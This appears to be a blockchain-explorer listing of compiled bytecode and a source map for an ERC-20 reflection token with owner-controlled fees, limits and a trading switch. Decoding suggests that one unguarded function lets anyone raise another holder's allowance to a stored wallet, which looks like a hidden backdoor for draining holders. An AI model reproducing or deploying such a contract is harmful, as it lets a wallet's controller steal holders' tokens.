4082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016117845761178461175c565b5060010190565b808201808211156104c7576104c761175c565b818103818111156104c7576104c761175c565b6000602082840312156117c357600080fd5b8151610e98816115ab565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181e5784516001600160a01b0316835293830193918301916001016117f9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261185c57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104c7576104c761175c56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205974de439f332cd474d616ce12d1bca601c5c924cc782c58cd60405502a2934664736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101435760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb14610399578063c492f046146103b9578063c816841b146103d9578063dd62ed3e146103f9578063f2fde38b1461043f578063f6a78e171461045f57600080fd5b806370a08231146102e2578063715018a6146103025780637d1db4a5146103175780638da5cb5b1461032d57806395d89b411461034b578063962dfc751461037957600080fd5b806318160ddd1161010857806318160ddd1461023557806323b872dd1461025a578063249585931461027a5780632fd689e31461029a578063313ce567146102b05780636c0a24eb146102cc57600080fd5b806299d3861461014f57806306fdde0314610166578063095ea7b3146101ad57806311a63e17146101dd5780631694505e1461021557600080fd5b3661014a57005b600080fd5b34801561015b57600080fd5b50610164610474565b005b34801561017257600080fd5b5060408051808201909152600c81526b2224a69020a4902a37b5b2b760a11b60208201525b6040516101a4919061155d565b60405180910390f35b3480156101b957600080fd5b506101cd6101c83660046115c3565b6104b6565b60405190151581526020016101a4565b3480156101e957600080fd5b506004546101fd906001600160a01b031681565b6040516001600160a01b0390911681526020016101a4565b34801561022157600080fd5b506006546101fd906001600160a01b031681565b34801561024157600080fd5b506709ac223eed4ac0005b6040519081526020016101a4565b34801561026657600080fd5b506101cd6102753660046115ef565b6104cd565b34801561028657600080fd5b506101646102953660046115c3565b610536565b3480156102a657600080fd5b5061024c60135481565b3480156102bc57600080fd5b50604051600981526020016101a4565b3480156102d857600080fd5b5061024c60125481565b3480156102ee57600080fd5b5061024c6102fd366004611630565b610552565b34801561030e57600080fd5b50610164610574565b34801561032357600080fd5b5061024c60115481565b34801561033957600080fd5b506000546001600160a01b03166101fd565b34801561035757600080fd5b5060408051808201909152600581526444494d414960d81b6020820152610197565b34801561038557600080fd5b506005546101fd906001600160a01b031681565b3480156103a557600080fd5b506101cd6103b43660046115c3565b6105e8565b3480156103c557600080fd5b506101646103d436600461164d565b6105f5565b3480156103e557600080fd5b506007546101fd906001600160a01b031681565b34801561040557600080fd5b5061024c6104143660046116d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044b57600080fd5b5061016461045a366004611630565b610696565b34801561046b57600080fd5b50610164610780565b6000546001600160a01b031633146104a75760405162461bcd60e51b815260040161049e90611711565b60405180910390fd5b6017805460ff19166001179055565b60006104c33384846107bd565b5060015b92915050565b60006104da8484846108e1565b61052c843361052785604051806060016040528060288152602001611879602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d53565b6107bd565b5060019392505050565b60055461054e9083906001600160a01b031683610d8d565b5050565b6001600160a01b0381166000908152601460205260408120546104c790610e1b565b6000546001600160a01b0316331461059e5760405162461bcd60e51b815260040161049e90611711565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104c33384846108e1565b6000546001600160a01b0316331461061f5760405162461bcd60e51b815260040161049e90611711565b60005b8281101561069057816003600086868581811061064157610641611746565b90506020020160208101906106569190611630565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061068881611772565b915050610622565b50505050565b6000546001600160a01b031633146106c05760405162461bcd60e51b815260040161049e90611711565b6001600160a01b0381166107255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161049e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107aa5760405162461bcd60e51b815260040161049e90611711565b6709ac223eed4ac0006011819055601255565b6001600160a01b03831661081f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049e565b6001600160a01b0382166108805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049e565b6001600160a01b0382166109a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049e565b60008111610a095760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049e565b6000546001600160a01b03848116911614801590610a3557506000546001600160a01b03838116911614155b15610c4c5760175460ff16610aa1576000546001600160a01b03848116911614610aa15760405162461bcd60e51b815260206004820152601960248201527f544f4b454e3a2054726164696e6720697320656e61626c656400000000000000604482015260640161049e565b601154811115610af35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a205472616e73616374696f6e204c696d6974204d617800000000604482015260640161049e565b6007546001600160a01b03838116911614610b785760125481610b1584610552565b610b1f919061178b565b10610b785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161049e565b6000610b8330610552565b601354601154919250821015908210610b9c5760115491505b808015610bb15750601754610100900460ff16155b8015610bcb57506007546001600160a01b03868116911614155b8015610bdf575060175462010000900460ff165b8015610c0457506001600160a01b03851660009081526003602052604090205460ff16155b8015610c2957506001600160a01b03841660009081526003602052604090205460ff16155b15610c4957610c3782610e9f565b478015610c4757610c4747611013565b505b50505b6001600160a01b03831660009081526003602052604090205460019060ff1680610c8e57506001600160a01b03831660009081526003602052604090205460ff165b80610cc057506007546001600160a01b03858116911614801590610cc057506007546001600160a01b03848116911614155b15610ccd57506000610d47565b6007546001600160a01b038581169116148015610cf857506006546001600160a01b03848116911614155b15610d0a57600854600c55600a54600d555b6007546001600160a01b038481169116148015610d3557506006546001600160a01b03858116911614155b15610d4757600954600c55600b54600d555b610690848484846110a4565b60008184841115610d775760405162461bcd60e51b815260040161049e919061155d565b506000610d84848661179e565b95945050505050565b816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dd291815260200190565b60405180910390a36001600160a01b03808416600090815260026020908152604080832093861683529290529081208054839290610e1190849061178b565b9091555050505050565b6000601054821115610e825760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161049e565b6000610e8c6110d2565b9050610e9883826110f5565b9392505050565b6017805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ee357610ee3611746565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6091906117b1565b81600181518110610f7357610f73611746565b6001600160a01b039283166020918202929092010152600654610f9991309116846107bd565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fd29085906000908690309042906004016117ce565b600060405180830381600087803b158015610fec57600080fd5b505af1158015611000573d6000803e3d6000fd5b50506017805461ff001916905550505050565b600061102060028361183f565b9050600061102e828461178b565b6005546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611069573d6000803e3d6000fd5b506004546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015610690573d6000803e3d6000fd5b806110b1576110b1611137565b6110bc848484611165565b8061069057610690600e54600c55600f54600d55565b60008060006110df61125c565b90925090506110ee82826110f5565b9250505090565b6000610e9883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061129c565b600c541580156111475750600d54155b1561114e57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611177876112ca565b6001600160a01b038f16600090815260146020526040902054959b509399509197509550935091506111a99087611327565b6001600160a01b03808b1660009081526014602052604080822093909355908a16815220546111d89086611369565b6001600160a01b0389166000908152601460205260409020556111fa816113c8565b6112048483611412565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161124991815260200190565b60405180910390a3505050505050505050565b60105460009081906709ac223eed4ac00061127782826110f5565b821015611293575050601054926709ac223eed4ac00092509050565b90939092509050565b600081836112bd5760405162461bcd60e51b815260040161049e919061155d565b506000610d84848661183f565b60008060008060008060008060006112e78a600c54600d54611436565b92509250925060006112f76110d2565b9050600080600061130a8e87878761148b565b919e509c509a509598509396509194505050505091939550919395565b6000610e9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d53565b600080611376838561178b565b905083811015610e985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049e565b60006113d26110d2565b905060006113e083836114db565b306000908152601460205260409020549091506113fd9082611369565b30600090815260146020526040902055505050565b60105461141f9083611327565b60105560165461142f9082611369565b6016555050565b6000808080611450606461144a89896114db565b906110f5565b90506000611463606461144a8a896114db565b9050600061147b826114758b86611327565b90611327565b9992985090965090945050505050565b600080808061149a88866114db565b905060006114a888876114db565b905060006114b688886114db565b905060006114c8826114758686611327565b939b939a50919850919650505050505050565b6000826000036114ed575060006104c7565b60006114f98385611861565b905082611506858361183f565b14610e985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049e565b600060208083528351808285015260005b8181101561158a5785810183015185820160400152820161156e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115c057600080fd5b50565b600080604083850312156115d657600080fd5b82356115e1816115ab565b946020939093013593505050565b60008060006060848603121561160457600080fd5b833561160f816115ab565b9250602084013561161f816115ab565b929592945050506040919091013590565b60006020828403121561164257600080fd5b8135610e98816115ab565b60008060006040848603121561166257600080fd5b833567ffffffffffffffff8082111561167a57600080fd5b818601915086601f83011261168e57600080fd5b81358181111561169d57600080fd5b8760208260051b85010111156116b257600080fd5b6020928301955093505084013580151581146116cd57600080fd5b809150509250925092565b600080604083850312156116eb57600080fd5b82356116f6816115ab565b91506020830135611706816115ab565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016117845761178461175c565b5060010190565b808201808211156104c7576104c761175c565b818103818111156104c7576104c761175c565b6000602082840312156117c357600080fd5b8151610e98816115ab565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561181e5784516001600160a01b0316835293830193918301916001016117f9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261185c57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104c7576104c761175c56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205974de439f332cd474d616ce12d1bca601c5c924cc782c58cd60405502a2934664736f6c63430008120033

Deployed Bytecode Sourcemap

4244:12403:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10324:79;;;;;;;;;;;;;:::i;:::-;;6637:83;;;;;;;;;;-1:-1:-1;6707:5:0;;;;;;;;;;;;-1:-1:-1;;;6707:5:0;;;;6637:83;;;;;;;:::i;:::-;;;;;;;;8018:193;;;;;;;;;;-1:-1:-1;8018:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8018:193:0;1023:187:1;4610:87:0;;;;;;;;;;-1:-1:-1;4610:87:0;;;;-1:-1:-1;;;;;4610:87:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;4610:87:0;1215:219:1;4806:41:0;;;;;;;;;;-1:-1:-1;4806:41:0;;;;-1:-1:-1;;;;;4806:41:0;;;6914:95;;;;;;;;;;-1:-1:-1;5316:19:0;6914:95;;;1819:25:1;;;1807:2;1792:18;6914:95:0;1673:177:1;7566:446:0;;;;;;;;;;-1:-1:-1;7566:446:0;;;;;:::i;:::-;;:::i;10411:134::-;;;;;;;;;;-1:-1:-1;10411:134:0;;;;;:::i;:::-;;:::i;5546:52::-;;;;;;;;;;;;;;;;6823:83;;;;;;;;;;-1:-1:-1;6823:83:0;;4464:1;2458:36:1;;2446:2;2431:18;6823:83:0;2316:184:1;5478:53:0;;;;;;;;;;;;;;;;7017:138;;;;;;;;;;-1:-1:-1;7017:138:0;;;;;:::i;:::-;;:::i;4004:148::-;;;;;;;;;;;;;:::i;5414:49::-;;;;;;;;;;;;;;;;4158:79;;;;;;;;;;-1:-1:-1;4196:7:0;4223:6;-1:-1:-1;;;;;4223:6:0;4158:79;;6728:87;;;;;;;;;;-1:-1:-1;6800:7:0;;;;;;;;;;;;-1:-1:-1;;;6800:7:0;;;;6728:87;;4704:93;;;;;;;;;;-1:-1:-1;4704:93:0;;;;-1:-1:-1;;;;;4704:93:0;;;7163:199;;;;;;;;;;-1:-1:-1;7163:199:0;;;;;:::i;:::-;;:::i;11180:234::-;;;;;;;;;;-1:-1:-1;11180:234:0;;;;;:::i;:::-;;:::i;4854:26::-;;;;;;;;;;-1:-1:-1;4854:26:0;;;;-1:-1:-1;;;;;4854:26:0;;;7370:184;;;;;;;;;;-1:-1:-1;7370:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7519:18:0;;;7487:7;7519:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7370:184;3754:244;;;;;;;;;;-1:-1:-1;3754:244:0;;;;;:::i;:::-;;:::i;11050:122::-;;;;;;;;;;;;;:::i;10324:79::-;3669:6;;-1:-1:-1;;;;;3669:6:0;2470:10;3669:22;3661:67;;;;-1:-1:-1;;;3661:67:0;;;;;;;:::i;:::-;;;;;;;;;10375:13:::1;:20:::0;;-1:-1:-1;;10375:20:0::1;10391:4;10375:20;::::0;;10324:79::o;8018:193::-;8120:4;8142:39;2470:10;8165:7;8174:6;8142:8;:39::i;:::-;-1:-1:-1;8199:4:0;8018:193;;;;;:::o;7566:446::-;7698:4;7715:36;7725:6;7733:9;7744:6;7715:9;:36::i;:::-;7762:220;7785:6;2470:10;7833:138;7889:6;7833:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7833:19:0;;;;;;:11;:19;;;;;;;;2470:10;7833:33;;;;;;;;;;:37;:138::i;:::-;7762:8;:220::i;:::-;-1:-1:-1;8000:4:0;7566:446;;;;;:::o;10411:134::-;10512:16;;10490:47;;10505:5;;-1:-1:-1;;;;;10512:16:0;10530:6;10490:14;:47::i;:::-;10411:134;;:::o;7017:138::-;-1:-1:-1;;;;;7130:16:0;;7083:7;7130:16;;;:7;:16;;;;;;7110:37;;:19;:37::i;4004:148::-;3669:6;;-1:-1:-1;;;;;3669:6:0;2470:10;3669:22;3661:67;;;;-1:-1:-1;;;3661:67:0;;;;;;;:::i;:::-;4111:1:::1;4095:6:::0;;4074:40:::1;::::0;-1:-1:-1;;;;;4095:6:0;;::::1;::::0;4074:40:::1;::::0;4111:1;;4074:40:::1;4142:1;4125:19:::0;;-1:-1:-1;;;;;;4125:19:0::1;::::0;;4004:148::o;7163:199::-;7268:4;7290:42;2470:10;7314:9;7325:6;7290:9;:42::i;11180:234::-;3669:6;;-1:-1:-1;;;;;3669:6:0;2470:10;3669:22;3661:67;;;;-1:-1:-1;;;3661:67:0;;;;;;;:::i;:::-;11297:9:::1;11293:114;11312:19:::0;;::::1;11293:114;;;11387:8;11353:18;:31;11372:8;;11381:1;11372:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11353:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;11353:31:0;:42;;-1:-1:-1;;11353:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11333:3;::::1;::::0;::::1;:::i;:::-;;;;11293:114;;;;11180:234:::0;;;:::o;3754:244::-;3669:6;;-1:-1:-1;;;;;3669:6:0;2470:10;3669:22;3661:67;;;;-1:-1:-1;;;3661:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3843:22:0;::::1;3835:73;;;::::0;-1:-1:-1;;;3835:73:0;;5112:2:1;3835:73:0::1;::::0;::::1;5094:21:1::0;5151:2;5131:18;;;5124:30;5190:34;5170:18;;;5163:62;-1:-1:-1;;;5241:18:1;;;5234:36;5287:19;;3835:73:0::1;4910:402:1::0;3835:73:0::1;3945:6;::::0;;3924:38:::1;::::0;-1:-1:-1;;;;;3924:38:0;;::::1;::::0;3945:6;::::1;::::0;3924:38:::1;::::0;::::1;3973:6;:17:::0;;-1:-1:-1;;;;;;3973:17:0::1;-1:-1:-1::0;;;;;3973:17:0;;;::::1;::::0;;;::::1;::::0;;3754:244::o;11050:122::-;3669:6;;-1:-1:-1;;;;;3669:6:0;2470:10;3669:22;3661:67;;;;-1:-1:-1;;;3661:67:0;;;;;;;:::i;:::-;5316:19:::1;11105:12;:22:::0;;;11138:16:::1;:26:::0;11050:122::o;9534:369::-;-1:-1:-1;;;;;9661:19:0;;9653:68;;;;-1:-1:-1;;;9653:68:0;;5519:2:1;9653:68:0;;;5501:21:1;5558:2;5538:18;;;5531:30;5597:34;5577:18;;;5570:62;-1:-1:-1;;;5648:18:1;;;5641:34;5692:19;;9653:68:0;5317:400:1;9653:68:0;-1:-1:-1;;;;;9740:21:0;;9732:68;;;;-1:-1:-1;;;9732:68:0;;5924:2:1;9732:68:0;;;5906:21:1;5963:2;5943:18;;;5936:30;6002:34;5982:18;;;5975:62;-1:-1:-1;;;6053:18:1;;;6046:32;6095:19;;9732:68:0;5722:398:1;9732:68:0;-1:-1:-1;;;;;9811:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9863:32;;1819:25:1;;;9863:32:0;;1792:18:1;9863:32:0;;;;;;;9534:369;;;:::o;13726:2387::-;-1:-1:-1;;;;;13848:18:0;;13840:68;;;;-1:-1:-1;;;13840:68:0;;6327:2:1;13840:68:0;;;6309:21:1;6366:2;6346:18;;;6339:30;6405:34;6385:18;;;6378:62;-1:-1:-1;;;6456:18:1;;;6449:35;6501:19;;13840:68:0;6125:401:1;13840:68:0;-1:-1:-1;;;;;13927:16:0;;13919:64;;;;-1:-1:-1;;;13919:64:0;;6733:2:1;13919:64:0;;;6715:21:1;6772:2;6752:18;;;6745:30;6811:34;6791:18;;;6784:62;-1:-1:-1;;;6862:18:1;;;6855:33;6905:19;;13919:64:0;6531:399:1;13919:64:0;14011:1;14002:6;:10;13994:64;;;;-1:-1:-1;;;13994:64:0;;7137:2:1;13994:64:0;;;7119:21:1;7176:2;7156:18;;;7149:30;7215:34;7195:18;;;7188:62;-1:-1:-1;;;7266:18:1;;;7259:39;7315:19;;13994:64:0;6935:405:1;13994:64:0;4196:7;4223:6;-1:-1:-1;;;;;14087:15:0;;;4223:6;;14087:15;;;;:46;;-1:-1:-1;4196:7:0;4223:6;-1:-1:-1;;;;;14120:13:0;;;4223:6;;14120:13;;14087:46;14069:1335;;;14198:13;;;;14193:170;;4196:7;4223:6;-1:-1:-1;;;;;14262:15:0;;;4223:6;;14262:15;14232:115;;;;-1:-1:-1;;;14232:115:0;;7547:2:1;14232:115:0;;;7529:21:1;7586:2;7566:18;;;7559:30;7625:27;7605:18;;;7598:55;7670:18;;14232:115:0;7345:349:1;14232:115:0;14413:12;;14403:6;:22;;14377:112;;;;-1:-1:-1;;;14377:112:0;;7901:2:1;14377:112:0;;;7883:21:1;7940:2;7920:18;;;7913:30;7979;7959:18;;;7952:58;8027:18;;14377:112:0;7699:352:1;14377:112:0;14513:11;;-1:-1:-1;;;;;14507:17:0;;;14513:11;;14507:17;14504:164;;14578:16;;14569:6;14553:13;14563:2;14553:9;:13::i;:::-;:22;;;;:::i;:::-;:41;14545:107;;;;-1:-1:-1;;;14545:107:0;;8388:2:1;14545:107:0;;;8370:21:1;8427:2;8407:18;;;8400:30;8466:34;8446:18;;;8439:62;-1:-1:-1;;;8517:18:1;;;8510:33;8560:19;;14545:107:0;8186:399:1;14545:107:0;14682:30;14715:24;14733:4;14715:9;:24::i;:::-;14795:19;;14858:12;;14682:57;;-1:-1:-1;14769:45:0;;;;14832:38;;14829:115;;14916:12;;14891:37;;14829:115;14964:7;:35;;;;-1:-1:-1;14993:6:0;;;;;;;14992:7;14964:35;:76;;;;-1:-1:-1;15029:11:0;;-1:-1:-1;;;;;15021:19:0;;;15029:11;;15021:19;;14964:76;:108;;;;-1:-1:-1;15061:11:0;;;;;;;14964:108;:155;;;;-1:-1:-1;;;;;;15095:24:0;;;;;;:18;:24;;;;;;;;15094:25;14964:155;:199;;;;-1:-1:-1;;;;;;15141:22:0;;;;;;:18;:22;;;;;;;;15140:23;14964:199;14960:433;;;15198:34;15209:22;15198:10;:34::i;:::-;15272:21;15316:14;;15312:65;;15332:45;15355:21;15332:22;:45::i;:::-;15179:214;14960:433;14145:1259;;14069:1335;-1:-1:-1;;;;;15478:24:0;;15414:14;15478:24;;;:18;:24;;;;;;15431:4;;15478:24;;;:50;;-1:-1:-1;;;;;;15506:22:0;;;;;;:18;:22;;;;;;;;15478:50;15477:112;;;-1:-1:-1;15556:11:0;;-1:-1:-1;;;;;15548:19:0;;;15556:11;;15548:19;;;;:40;;-1:-1:-1;15577:11:0;;-1:-1:-1;;;;;15571:17:0;;;15577:11;;15571:17;;15548:40;15473:576;;;-1:-1:-1;15628:5:0;15473:576;;;15709:11;;-1:-1:-1;;;;;15701:19:0;;;15709:11;;15701:19;:53;;;;-1:-1:-1;15738:15:0;;-1:-1:-1;;;;;15724:30:0;;;15738:15;;15724:30;;15701:53;15698:145;;;15791:16;;15775:13;:32;15820:7;;15809:8;:18;15698:145;15900:11;;-1:-1:-1;;;;;15894:17:0;;;15900:11;;15894:17;:53;;;;-1:-1:-1;15931:15:0;;-1:-1:-1;;;;;15915:32:0;;;15931:15;;15915:32;;15894:53;15890:148;;;15984:17;;15968:13;:33;16014:8;;16003;:19;15890:148;16059:46;16077:4;16083:2;16087:6;16095:9;16059:17;:46::i;1166:224::-;1286:7;1322:12;1314:6;;;;1306:29;;;;-1:-1:-1;;;1306:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1346:9:0;1358:5;1362:1;1358;:5;:::i;:::-;1346:17;1166:224;-1:-1:-1;;;;;1166:224:0:o;9917:170::-;10028:5;-1:-1:-1;;;;;10012:30:0;10021:5;-1:-1:-1;;;;;10012:30:0;;10035:6;10012:30;;;;1819:25:1;;1807:2;1792:18;;1673:177;10012:30:0;;;;;;;;-1:-1:-1;;;;;10044:18:0;;;;;;;:11;:18;;;;;;;;:25;;;;;;;;;;;:35;;10073:6;;10044:18;:35;;10073:6;;10044:35;:::i;:::-;;;;-1:-1:-1;;;;;9917:170:0:o;10555:323::-;10650:7;10708;;10697;:18;;10675:110;;;;-1:-1:-1;;;10675:110:0;;8925:2:1;10675:110:0;;;8907:21:1;8964:2;8944:18;;;8937:30;9003:34;8983:18;;;8976:62;-1:-1:-1;;;9054:18:1;;;9047:40;9104:19;;10675:110:0;8723:406:1;10675:110:0;10796:19;10818:10;:8;:10::i;:::-;10796:32;-1:-1:-1;10846:24:0;:7;10796:32;10846:11;:24::i;:::-;10839:31;10555:323;-1:-1:-1;;;10555:323:0:o;16121:476::-;5973:6;:13;;-1:-1:-1;;5973:13:0;;;;;16216:16:::1;::::0;;16230:1:::1;16216:16:::0;;;;;::::1;::::0;;-1:-1:-1;;16216:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;16216:16:0::1;16192:40;;16261:4;16243;16248:1;16243:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16243:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;16287:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;16287:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;16243:7;;16287:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16277:4;16282:1;16277:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16277:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;16352:15:::1;::::0;16320:62:::1;::::0;16337:4:::1;::::0;16352:15:::1;16370:11:::0;16320:8:::1;:62::i;:::-;16393:15;::::0;:196:::1;::::0;-1:-1:-1;;;16393:196:0;;-1:-1:-1;;;;;16393:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;16474:11;;16393:15:::1;::::0;16516:4;;16543::::1;::::0;16563:15:::1;::::0;16393:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6009:6:0;:14;;-1:-1:-1;;6009:14:0;;;-1:-1:-1;;;;16121:476:0:o;10095:221::-;10162:14;10179:10;10188:1;10179:6;:10;:::i;:::-;10162:27;-1:-1:-1;10191:20:0;10214:15;10162:27;10214:6;:15;:::i;:::-;10240:16;;:39;;10191:38;;-1:-1:-1;;;;;;10240:16:0;;:39;;;;;10191:38;;10240:16;:39;:16;:39;10191:38;10240:16;:39;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10281:10:0;;:27;;-1:-1:-1;;;;;10281:10:0;;;;:27;;;;;10301:6;;10281:10;:27;:10;:27;10301:6;10281:10;:27;;;;;;;;;;;;;;;;;;;8217:332;8376:7;8371:50;;8398:11;:9;:11::i;:::-;8439:41;8454:6;8462:9;8473:6;8439:14;:41::i;:::-;8496:7;8491:51;;8518:12;9459:21;;9443:13;:37;9502:16;;9491:8;:27;9402:124;13289:164;13331:7;13352:15;13369;13388:19;:17;:19::i;:::-;13351:56;;-1:-1:-1;13351:56:0;-1:-1:-1;13425:20:0;13351:56;;13425:11;:20::i;:::-;13418:27;;;;13289:164;:::o;1727:132::-;1785:7;1812:39;1816:1;1819;1812:39;;;;;;;;;;;;;;;;;:3;:39::i;9171:223::-;9215:13;;:18;:35;;;;-1:-1:-1;9237:8:0;;:13;9215:35;9211:48;;;9171:223::o;9211:48::-;9293:13;;;9269:21;:37;9336:8;;;9317:16;:27;-1:-1:-1;9346:17:0;;;;9374:12;9171:223::o;8557:606::-;8701:15;8731:23;8769:12;8796:23;8834:12;8861:13;8888:19;8899:7;8888:10;:19::i;:::-;-1:-1:-1;;;;;8936:15:0;;;;;;:7;:15;;;;;;8686:221;;-1:-1:-1;8686:221:0;;-1:-1:-1;8686:221:0;;-1:-1:-1;8686:221:0;-1:-1:-1;8686:221:0;-1:-1:-1;8686:221:0;-1:-1:-1;8936:28:0;;8686:221;8936:19;:28::i;:::-;-1:-1:-1;;;;;8918:15:0;;;;;;;:7;:15;;;;;;:46;;;;8996:18;;;;;;;:39;;9019:15;8996:22;:39::i;:::-;-1:-1:-1;;;;;8975:18:0;;;;;;:7;:18;;;;;:60;9046:19;9059:5;9046:12;:19::i;:::-;9067:28;9084:4;9090;9067:16;:28::i;:::-;9128:9;-1:-1:-1;;;;;9111:44:0;9120:6;-1:-1:-1;;;;;9111:44:0;;9139:15;9111:44;;;;1819:25:1;;1807:2;1792:18;;1673:177;9111:44:0;;;;;;;;8675:488;;;;;;8557:606;;;:::o;13461:257::-;13559:7;;13512;;;;5316:19;13627:20;13559:7;5316:19;13627:11;:20::i;:::-;13617:7;:30;13613:61;;;-1:-1:-1;;13657:7:0;;;5316:19;;-1:-1:-1;13461:257:0;-1:-1:-1;13461:257:0:o;13613:61::-;13693:7;;13702;;-1:-1:-1;13461:257:0;-1:-1:-1;13461:257:0:o;1871:223::-;1991:7;2026:12;2019:5;2011:28;;;;-1:-1:-1;;;2011:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2050:9:0;2062:5;2066:1;2062;:5;:::i;11422:620::-;11522:7;11544;11566;11588;11610;11632;11668:23;11693:12;11707:13;11737:45;11749:7;11758:13;;11773:8;;11737:11;:45::i;:::-;11667:115;;;;;;11793:19;11815:10;:8;:10::i;:::-;11793:32;;11837:15;11854:23;11879:12;11908:46;11920:7;11929:4;11935:5;11942:11;11908;:46::i;:::-;11836:118;;-1:-1:-1;11836:118:0;-1:-1:-1;11836:118:0;-1:-1:-1;12005:15:0;;-1:-1:-1;12022:4:0;;-1:-1:-1;12028:5:0;;-1:-1:-1;;;;;11422:620:0;;;;;;;:::o;1583:136::-;1641:7;1668:43;1672:1;1675;1668:43;;;;;;;;;;;;;;;;;:3;:43::i;1396:179::-;1454:7;;1486:5;1490:1;1486;:5;:::i;:::-;1474:17;;1515:1;1510;:6;;1502:46;;;;-1:-1